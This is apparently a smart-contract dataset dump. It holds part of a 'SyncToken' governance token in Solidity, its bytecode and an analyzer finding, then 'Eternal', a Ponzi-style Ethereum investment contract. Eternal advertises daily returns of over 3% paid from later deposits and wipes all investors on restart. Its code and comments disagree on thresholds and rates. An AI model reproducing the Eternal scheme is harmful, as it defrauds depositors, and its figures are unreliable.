uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "SyncToken::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "SyncToken::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SyncToken::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SyncToken::delegateBySig: invalid nonce");
require(now <= expiry, "SyncToken::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "SyncToken::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "SyncToken::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "SyncToken::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "SyncToken::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "SyncToken::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _mintTokens(address dst, uint96 amount) internal {
require(dst != address(0), "SyncToken::_mintTokens: cannot transfer to the zero address");
balances[dst] = add96(balances[dst], amount, "SyncToken::_mintTokens: transfer amount overflows");
emit Transfer(address(0), dst, amount);
_moveDelegates(address(0), delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "SyncToken::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "SyncToken::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "SyncToken::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636fcfff45116100b8578063a9059cbb1161007c578063a9059cbb1461029b578063b4b5ea57146102ae578063c3cda520146102c1578063dd62ed3e146102d4578063e7a324dc146102e7578063f1127ed8146102ef57610142565b80636fcfff451461022d57806370a082311461024d578063782d6fe1146102605780637ecebe001461028057806395d89b411461029357610142565b806323b872dd1161010a57806323b872dd146101b75780632c4d4d18146101ca578063313ce567146101df57806340c10f19146101f4578063587cde1e146102075780635c19a95c1461021a57610142565b806306fdde03146101475780630754617214610165578063095ea7b31461017a57806318160ddd1461019a57806320606b70146101af575b600080fd5b61014f610310565b60405161015c9190611a74565b60405180910390f35b61016d610345565b60405161015c91906119bc565b61018d610188366004611469565b610354565b60405161015c91906119ca565b6101a2610413565b60405161015c91906119d8565b6101a2610419565b61018d6101c536600461141c565b610430565b6101dd6101d83660046113bc565b610579565b005b6101e7610602565b60405161015c9190611b2e565b6101dd610202366004611469565b610607565b61016d6102153660046113bc565b610666565b6101dd6102283660046113bc565b610681565b61024061023b3660046113bc565b61068e565b60405161015c9190611b05565b6101a261025b3660046113bc565b6106a6565b61027361026e366004611469565b6106ca565b60405161015c9190611b4a565b6101a261028e3660046113bc565b6108d8565b61014f6108ea565b61018d6102a9366004611469565b610909565b6102736102bc3660046113bc565b610945565b6101dd6102cf366004611499565b6109b5565b6101a26102e23660046113e2565b610bb0565b6101a2610be4565b6103026102fd366004611520565b610bf0565b60405161015c929190611b13565b6040518060400160405280601981526020017829bcb731902220a79023b7bb32b93730b731b2902a37b5b2b760391b81525081565b6001546001600160a01b031681565b60008060001983141561036a575060001961038f565b61038c836040518060600160405280602a8152602001611c30602a9139610c25565b90505b3360008181526002602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ff908590611b3c565b60405180910390a360019150505b92915050565b60005481565b604051610425906119a6565b604051809103902081565b6001600160a01b03831660009081526002602090815260408083203380855290835281842054825160608101909352602a80845291936001600160601b039091169285926104889288929190611c3090830139610c25565b9050866001600160a01b0316836001600160a01b0316141580156104b557506001600160601b0382811614155b1561055f5760006104df8383604051806080016040528060428152602001611d4660429139610c54565b6001600160a01b038981166000818152600260209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610555908590611b3c565b60405180910390a3505b61056a878783610c93565b600193505050505b9392505050565b6001546001600160a01b031633146105ac5760405162461bcd60e51b81526004016105a390611af5565b60405180910390fd5b600180546001600160a01b0319166001600160a01b0383161790556040517f6adffd5c93085d835dac6f3b40adf7c242ca4b3284048d20c3d8a501748dc973906105f79083906119bc565b60405180910390a150565b601281565b6001546001600160a01b031633146106315760405162461bcd60e51b81526004016105a390611af5565b600061065582604051806060016040528060278152602001611d1f60279139610c25565b90506106618382610e39565b505050565b6004602052600090815260409020546001600160a01b031681565b61068b3382610f45565b50565b60066020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600360205260409020546001600160601b031690565b60004382106106eb5760405162461bcd60e51b81526004016105a390611ad5565b6001600160a01b03831660009081526006602052604090205463ffffffff168061071957600091505061040d565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610795576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061040d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff168310156107d057600091505061040d565b600060001982015b8163ffffffff168163ffffffff16111561089357600282820363ffffffff16048103610802611379565b506001600160a01b038716600090815260056020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b0316918101919091529087141561086e5760200151945061040d9350505050565b805163ffffffff168711156108855781935061088c565b6001820392505b50506107d8565b506001600160a01b038516600090815260056020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60076020526000908152604090205481565b6040518060400160405280600381526020016253444760e81b81525081565b60008061092e836040518060600160405280602b8152602001611dc1602b9139610c25565b905061093b338583610c93565b5060019392505050565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610970576000610572565b6001600160a01b0383166000908152600560209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516109c3906119a6565b60408051918290038220828201909152601982527829bcb731902220a79023b7bb32b93730b731b2902a37b5b2b760391b6020909201919091527f4cc0580edea06049a80574013a3f51674648c380fb524a3c7c210f0e1de9222d610a26610fcf565b30604051602001610a3a9493929190611a24565b6040516020818303038152906040528051906020012090506000604051610a60906119b1565b604051908190038120610a7b918a908a908a906020016119e6565b60405160208183030381529060405280519060200120905060008282604051602001610aa8929190611975565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610ae59493929190611a59565b6020604051602081039080840390855afa158015610b07573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610b3a5760405162461bcd60e51b81526004016105a390611ae5565b6001600160a01b03811660009081526007602052604090208054600181019091558914610b795760405162461bcd60e51b81526004016105a390611aa5565b87421115610b995760405162461bcd60e51b81526004016105a390611ac5565b610ba3818b610f45565b505050505b505050505050565b6001600160a01b0391821660009081526002602090815260408083209390941682529190915220546001600160601b031690565b604051610425906119b1565b600560209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610c4c5760405162461bcd60e51b81526004016105a39190611a74565b509192915050565b6000836001600160601b0316836001600160601b031611158290610c8b5760405162461bcd60e51b81526004016105a39190611a74565b505050900390565b6001600160a01b038316610cb95760405162461bcd60e51b81526004016105a390611ab5565b6001600160a01b038216610cdf5760405162461bcd60e51b81526004016105a390611a85565b6001600160a01b03831660009081526003602090815260409182902054825160608101909352603b808452610d2a936001600160601b039092169285929190611c5a90830139610c54565b6001600160a01b03848116600090815260036020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526035808452610d929491909116928592909190611dec90830139610fd3565b6001600160a01b038381166000818152600360205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dff908590611b3c565b60405180910390a36001600160a01b038084166000908152600460205260408082205485841683529120546106619291821691168361100f565b6001600160a01b038216610e5f5760405162461bcd60e51b81526004016105a390611a95565b6001600160a01b038216600090815260036020908152604091829020548251606081019093526031808452610eaa936001600160601b039092169285929190611cee90830139610fd3565b6001600160a01b03831660008181526003602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f14908590611b3c565b60405180910390a36001600160a01b03808316600090815260046020526040812054610f4192168361100f565b5050565b6001600160a01b03808316600081815260046020818152604080842080546003845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610fc982848361100f565b50505050565b4690565b6000838301826001600160601b0380871690831610156110065760405162461bcd60e51b81526004016105a39190611a74565b50949350505050565b816001600160a01b0316836001600160a01b03161415801561103a57506000816001600160601b0316115b15610661576001600160a01b038316156110f2576001600160a01b03831660009081526006602052604081205463ffffffff16908161107a5760006110b9565b6001600160a01b0385166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006110e082856040518060600160405280602d8152602001611c95602d9139610c54565b90506110ee8684848461119d565b5050505b6001600160a01b03821615610661576001600160a01b03821660009081526006602052604081205463ffffffff16908161112d57600061116c565b6001600160a01b0384166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061119382856040518060600160405280602c8152602001611cc2602c9139610fd3565b9050610ba8858484845b60006111c143604051806060016040528060398152602001611d8860399139611352565b905060008463ffffffff1611801561120a57506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611269576001600160a01b0385166000908152600560209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611308565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600583528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600690935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611343929190611b58565b60405180910390a25050505050565b600081600160201b8410610c4c5760405162461bcd60e51b81526004016105a39190611a74565b604080518082019091526000808252602082015290565b803561040d81611c00565b803561040d81611c14565b803561040d81611c1d565b803561040d81611c26565b6000602082840312156113ce57600080fd5b60006113da8484611390565b949350505050565b600080604083850312156113f557600080fd5b60006114018585611390565b925050602061141285828601611390565b9150509250929050565b60008060006060848603121561143157600080fd5b600061143d8686611390565b935050602061144e86828701611390565b925050604061145f8682870161139b565b9150509250925092565b6000806040838503121561147c57600080fd5b60006114888585611390565b92505060206114128582860161139b565b60008060008060008060c087890312156114b257600080fd5b60006114be8989611390565b96505060206114cf89828a0161139b565b95505060406114e089828a0161139b565b94505060606114f189828a016113b1565b935050608061150289828a0161139b565b92505060a061151389828a0161139b565b9150509295509295509295565b6000806040838503121561153357600080fd5b600061153f8585611390565b9250506020611412858286016113a6565b61155981611b85565b82525050565b61155981611b90565b61155981611b95565b61155961157d82611b95565b611b95565b600061158d82611b73565b6115978185611b77565b93506115a7818560208601611bca565b6115b081611bf6565b9093019392505050565b60006115c7603f83611b77565b7f53796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e81527f6f74207472616e7366657220746f20746865207a65726f206164647265737300602082015260400192915050565b6000611626600283611b80565b61190160f01b815260020192915050565b6000611644603b83611b77565b7f53796e63546f6b656e3a3a5f6d696e74546f6b656e733a2063616e6e6f74207481527f72616e7366657220746f20746865207a65726f20616464726573730000000000602082015260400192915050565b60006116a3602783611b77565b7f53796e63546f6b656e3a3a64656c656761746542795369673a20696e76616c6981526664206e6f6e636560c81b602082015260400192915050565b60006116ec604183611b77565b7f53796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e6e81527f6f74207472616e736665722066726f6d20746865207a65726f206164647265736020820152607360f81b604082015260600192915050565b6000611755602b83611b77565b7f53796e63546f6b656e3a3a64656c656761746542795369673a207369676e617481526a1d5c9948195e1c1a5c995960aa1b602082015260400192915050565b60006117a2604383611b80565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061180d602c83611b77565b7f53796e63546f6b656e3a3a6765745072696f72566f7465733a206e6f7420796581526b1d0819195d195c9b5a5b995960a21b602082015260400192915050565b600061185b602b83611b77565b7f53796e63546f6b656e3a3a64656c656761746542795369673a20696e76616c6981526a64207369676e617475726560a81b602082015260400192915050565b60006118a8603a83611b80565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6000611907603583611b77565b7f53796e63546f6b656e3a6f6e6c794d696e7465723a2073686f756c64206f6e6c8152743c9031329031b0b63632b210313c9036b4b73a32b960591b602082015260400192915050565b61155981611ba4565b61155981611bad565b61155981611bbf565b61155981611bb3565b600061198082611619565b915061198c8285611571565b60208201915061199c8284611571565b5060200192915050565b600061040d82611795565b600061040d8261189b565b6020810161040d8284611550565b6020810161040d828461155f565b6020810161040d8284611568565b608081016119f48287611568565b611a016020830186611550565b611a0e6040830185611568565b611a1b6060830184611568565b95945050505050565b60808101611a328287611568565b611a3f6020830186611568565b611a4c6040830185611568565b611a1b6060830184611550565b60808101611a678287611568565b611a01602083018661195a565b602080825281016105728184611582565b6020808252810161040d816115ba565b6020808252810161040d81611637565b6020808252810161040d81611696565b6020808252810161040d816116df565b6020808252810161040d81611748565b6020808252810161040d81611800565b6020808252810161040d8161184e565b6020808252810161040d816118fa565b6020810161040d8284611951565b60408101611b218285611951565b610572602083018461196c565b6020810161040d828461195a565b6020810161040d8284611963565b6020810161040d828461196c565b60408101611b668285611963565b6105726020830184611963565b5190565b90815260200190565b919050565b600061040d82611b98565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061040d82611bb3565b60005b83811015611be5578181015183820152602001611bcd565b83811115610fc95750506000910152565b601f01601f191690565b611c0981611b85565b811461068b57600080fd5b611c0981611b95565b611c0981611ba4565b611c0981611bad56fe53796e63546f6b656e3a3a617070726f76653a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636553796e63546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777353796e63546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777353796e63546f6b656e3a3a5f6d696e74546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777353796e63546f6b656e3a3a6d696e743a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636553796e63546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747353796e63546f6b656e3a3a7472616e736665723a20616d6f756e742065786365656473203936206269747353796e63546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a365627a7a7231582017842901f7002ef2631dc9babe0138be6d430c410cabb3cb141f34ce4aa456576c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,196 |
0x2e169f121b1c6edddd91624ef5b4dcf724fe5547
|
pragma solidity ^0.4.24;
/**
*
* ██████╗ ███████╗████████╗███████╗██████╗ ███╗ ██╗ █████╗ ██╗
* ██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██║
* ██████╔╝█████╗ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║██║
* ██╔══██╗██╔══╝ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║
* ██║ ██║███████╗ ██║ ███████╗██║ ██║██║ ╚████║██║ ██║███████╗
* ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
*
* Contacts:
*
* -- t.me/Reternal
* -- https://www.reternal.net
*
* - GAIN PER 24 HOURS:
*
* -- Individual balance < 1 Ether: 3.15%
* -- Individual balance >= 1 Ether: 3.25%
* -- Individual balance >= 4 Ether: 3.45%
* -- Individual balance >= 12 Ether: 3.65%
* -- Individual balance >= 50 Ether: 3.85%
* -- Individual balance >= 200 Ether: 4.15%
*
* -- Contract balance < 500 Ether: 0%
* -- Contract balance >= 500 Ether: 0.10%
* -- Contract balance >= 1500 Ether: 0.20%
* -- Contract balance >= 2500 Ether: 0.30%
* -- Contract balance >= 7000 Ether: 0.45%
* -- Contract balance >= 15000 Ether: 0.65%
*
* - Minimal contribution 0.01 eth
* - Contribution allocation schemes:
* -- 95% payments
* -- 5% Marketing + Operating Expenses
*
* - How to use:
* 1. Send from your personal ETH wallet to the smart-contract address any amount more than or equal to 0.01 ETH
* 2. Add your refferer's wallet to a HEX data in your transaction to
* get a bonus amount back to your wallet only for the FIRST deposit
* IMPORTANT: if you want to support Reternal project, you can leave your HEX data field empty,
* if you have no referrer and do not want to support Reternal, you can type 'noreferrer'
* if there is no referrer, you will not get any bonuses
* 3. Use etherscan.io to verify your transaction
* 4. Claim your dividents by sending 0 ether transaction (available anytime)
* 5. You can reinvest anytime you want
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* The smart-contract has a "restart" function, more info at www.reternal.net
*
* If you want to check your dividents, you can use etherscan.io site, following the "Internal Txns" tab of your wallet
* WARNING: do not use exchanges' wallets - you will loose your funds. Only use your personal wallet for transactions
*
*/
contract Eternal {
// Investor's data storage
mapping (address => Investor) public investors;
address[] public addresses;
struct Investor
{
uint id;
uint deposit;
uint depositCount;
uint block;
address referrer;
}
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
address defaultReferrer = 0x25EDFd665C2898c2898E499Abd8428BaC616a0ED;
uint public round;
uint public totalDepositAmount;
bool public pause;
uint public restartBlock;
bool ref_flag;
// Investors' dividents increase goals due to a bank growth
uint bank1 = 5e20; // 500 eth
uint bank2 = 15e20; // 1500 eth
uint bank3 = 25e20; // 2500 eth
uint bank4 = 7e21; // 7000 eth
uint bank5 = 15e20; // 15000 eth
// Investors' dividents increase due to individual deposit amount
uint dep1 = 1e18; // 1 ETH
uint dep2 = 4e18; // 4 ETH
uint dep3 = 12e18; // 12 ETH
uint dep4 = 5e19; // 50 ETH
uint dep5 = 2e20; // 200 ETH
event NewInvestor(address indexed investor, uint deposit, address referrer);
event PayOffDividends(address indexed investor, uint value);
event refPayout(address indexed investor, uint value, address referrer);
event NewDeposit(address indexed investor, uint value);
event NextRoundStarted(uint round, uint block, address addr, uint value);
constructor() public {
addresses.length = 1;
round = 1;
pause = false;
}
function restart() private {
address addr;
for (uint i = addresses.length - 1; i > 0; i--) {
addr = addresses[i];
addresses.length -= 1;
delete investors[addr];
}
emit NextRoundStarted(round, block.number, msg.sender, msg.value);
pause = false;
round += 1;
totalDepositAmount = 0;
createDeposit();
}
function getRaisedPercents(address addr) internal view returns(uint){
// Individual deposit percentage sums up with 'Reternal total fund' percentage
uint percent = getIndividualPercent() + getBankPercent();
uint256 amount = investors[addr].deposit * percent / 100*(block.number-investors[addr].block)/6000;
return(amount / 100);
}
function payDividends() private{
require(investors[msg.sender].id > 0, "Investor not found.");
// Investor's total raised amount
uint amount = getRaisedPercents(msg.sender);
if (address(this).balance < amount) {
pause = true;
restartBlock = block.number + 6000;
return;
}
// Service fee deduction
uint FeeToWithdraw = amount * 5 / 100;
uint payment = amount - FeeToWithdraw;
address(0xD9bE11E7412584368546b1CaE64b6C384AE85ebB).transfer(FeeToWithdraw);
msg.sender.transfer(payment);
emit PayOffDividends(msg.sender, amount);
}
function createDeposit() private{
Investor storage user = investors[msg.sender];
if (user.id == 0) {
// Check for malicious smart-contract
msg.sender.transfer(0 wei);
user.id = addresses.push(msg.sender);
if (msg.data.length != 0) {
address referrer = bytesToAddress(msg.data);
// Check for referrer's registration. Check for self referring
if (investors[referrer].id > 0 && referrer != msg.sender) {
user.referrer = referrer;
// Cashback only for the first deposit
if (user.depositCount == 0) {
uint cashback = msg.value / 100;
if (msg.sender.send(cashback)) {
emit refPayout(msg.sender, cashback, referrer);
}
}
}
} else {
// If data is empty:
user.referrer = defaultReferrer;
}
emit NewInvestor(msg.sender, msg.value, referrer);
} else {
// Dividents payment for an investor
payDividends();
}
// 2% from a referral deposit transfer to a referrer
uint payReferrer = msg.value * 2 / 100;
if (user.referrer == defaultReferrer) {
user.referrer.transfer(payReferrer);
} else {
investors[referrer].deposit += payReferrer;
}
user.depositCount++;
user.deposit += msg.value;
user.block = block.number;
totalDepositAmount += msg.value;
emit NewDeposit(msg.sender, msg.value);
}
function() external payable {
if(pause) {
if (restartBlock <= block.number) { restart(); }
require(!pause, "Eternal is restarting, wait for the block in restartBlock");
} else {
if (msg.value == 0) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
createDeposit();
}
}
function getBankPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint totalBank1 = bank1;
uint totalBank2 = bank2;
uint totalBank3 = bank3;
uint totalBank4 = bank4;
uint totalBank5 = bank5;
if(contractBalance < totalBank1){
return(0); // If bank lower than 500, whole procent doesnt add
}
if(contractBalance >= totalBank1 && contractBalance < totalBank2){
return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank2 && contractBalance < totalBank3){
return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank3 && contractBalance < totalBank4){
return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank4 && contractBalance < totalBank5){
return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15%
}
if(contractBalance >= totalBank5){
return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20%
}
}
function getIndividualPercent() public view returns(uint){
uint userBalance = investors[msg.sender].deposit;
uint totalDeposit1 = dep1;
uint totalDeposit2 = dep2;
uint totalDeposit3 = dep3;
uint totalDeposit4 = dep4;
uint totalDeposit5 = dep5;
if(userBalance < totalDeposit1){
return(315); // 3.15% by default, investor deposit lower than 1 ETH
}
if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){
return(325); // 3.25% Your Deposit more than or equal to 1 ETH
}
if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){
return(345); // 3.45% Your Deposit more than or equal to 4 ETH
}
if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){
return(360); // 3.60% Your Deposit more than or equal to 12 ETH
}
if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){
return(385); // 3.85% Your Deposit more than or equal to 50 ETH
}
if(userBalance >= totalDeposit5){
return(415); // 4.15% Your Deposit more than or equal to 200 ETH
}
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
|
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca53181146102105780633d4cfa6b14610237578063466a34431461024c5780636f7bc9be146102615780637d19ba23146102b65780638456cb59146102cb578063960524e3146102f4578063c5408d5014610309578063d77d00121461031e578063edf26d9b14610333575b60055460ff161561015c5760065443106100bf576100bf610367565b60055460ff161561015757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f457465726e616c2069732072657374617274696e672c207761697420666f722060448201527f74686520626c6f636b20696e2072657374617274426c6f636b00000000000000606482015290519081900360840190fd5b61020e565b34151561016b5761015761047a565b662386f26fc1000034101561020657604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3031206560448201527f7468657200000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61020e6105e3565b005b34801561021c57600080fd5b50610225610906565b60408051918252519081900360200190f35b34801561024357600080fd5b5061022561090c565b34801561025857600080fd5b50610225610917565b34801561026d57600080fd5b50610282600160a060020a03600435166109d9565b604080519586526020860194909452848401929092526060840152600160a060020a03166080830152519081900360a00190f35b3480156102c257600080fd5b50610225610a11565b3480156102d757600080fd5b506102e0610a17565b604080519115158252519081900360200190f35b34801561030057600080fd5b50610225610a20565b34801561031557600080fd5b50610225610a2b565b34801561032a57600080fd5b50610225610a31565b34801561033f57600080fd5b5061034b600435610ae1565b60408051600160a060020a039092168252519081900360200190f35b600154600090600019015b600081111561041057600180548290811061038957fe5b60009182526020909120015460018054600160a060020a039092169350600019909101906103b79082610b6c565b50600160a060020a038216600090815260208190526040812081815560018101829055600281018290556003810191909155600401805473ffffffffffffffffffffffffffffffffffffffff1916905560001901610372565b600354604080519182524360208301523382820152346060830152517f66a2263e9309e859994900b6ba9f464030063253fab6b5ddc8db9538c37e7b6b9181900360800190a16005805460ff1916905560038054600101905560006004556104766105e3565b5050565b336000908152602081905260408120548190819081106104fb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e766573746f72206e6f7420666f756e642e00000000000000000000000000604482015290519081900360640190fd5b61050433610b09565b92503031831115610529576005805460ff1916600117905561177043016006556105de565b505060405160646005830204908183039073d9be11e7412584368546b1cae64b6c384ae85ebb906108fc8415029084906000818181858888f19350505050158015610578573d6000803e3d